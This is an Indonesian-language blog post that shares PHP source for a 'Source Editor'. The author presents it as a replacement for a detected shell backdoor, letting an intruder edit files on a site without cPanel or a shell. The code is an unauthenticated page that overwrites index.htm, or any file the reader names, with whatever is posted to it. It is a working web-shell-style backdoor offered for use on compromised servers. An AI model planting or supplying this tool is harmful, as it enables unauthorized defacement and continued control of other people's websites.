Monday, May 21, 2018

[PHP] Source Editor

  No comments
Assalamu'Alaikum Wr Wb

Kali ini saya akan share source code "Source Editor", file ini mungkin bisa menjadi pengganti apabila shell backdoor kita terdeteksi sebagi backdoor dan terjadi error.

File ini berguna untuk Mengedit isi dari sebuah file,tanpa perlu masuk cpanel tau shell backdoor



Langsung Saja ini Begini Lah Tampilan nya :


Tampilan Editor Nya

Source Code :

<?php
$theData = '';
if(isset($_POST['data'])) {
$theData = $_POST['data'];
$myFile = "index.htm";
$fh = fopen($myFile, 'w');
fwrite($fh, $_POST['data']);
} else {
$myFile = "index.htm";
$fh = fopen($myFile, 'r');
$theData = fread($fh, filesize($myFile));
}
fclose($fh);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
<style type="text/css">
body{
font-family: "courier new", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 5px #757575;
background-position: center;
background-color:#ffffff;
background-repeat: no-repeat;
    background-attachment: fixed;
    background-size:100% 100%;
background-image:url(http://rotuser.com/b.jpg);
cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1025.ani), url(http://cur.cursors-4u.net/cursors/cur-11/cur1025.png), progress !important;
margin:0;padding:0;height:100%;font:13px Arial;}
#wrapper{min-height:100%;position:relative;}
#header{background:#f0f0f0;padding:5px;height:50px;color:#0000ff;}
#body{padding-bottom:40px;padding-left:10px;}
#footer{background:#000;opacity:0.4;filter:alpha(opacity=40);position:absolute;bottom:0;width:100%;height:6%;text-align:center;color:#808080;
}
textarea {
background:transparent;
color:cyan;
padding:10px;
border-radius:5px;
-moz-border-radius:5px;
-webkit-border-radius:5px;
border:1px solid cyan;
}
html {
text-align: center;
}
a {
text-decoration: none;
color: cyan;
}
input {
background:transparent;
color:cyan;
padding:10px;
border:1px solid cyan;
}
</style>
</head>
<body>
<?php echo "<a href='$myFile' target='_blank'>$myFile</a>";
?>
<center>
<p><form name="test" method="post" action="">
<textarea name="data" style="width: 70%; height: 360px; margin: 5px auto; resize: none;"><?php echo $theData; ?></textarea><br>
<input type="submit" name="submit" value="Update File" />
</form><p>
<br>
</body>
</html>
Untuk Yang Berwarna Merah Ganti jadi nama file yang kalian ingin edit isinya

Dan cukup sekian jika ada yang salah saya mohon maaf.
Wassalamu'alaikum Wr Wb

No comments :

Post a Comment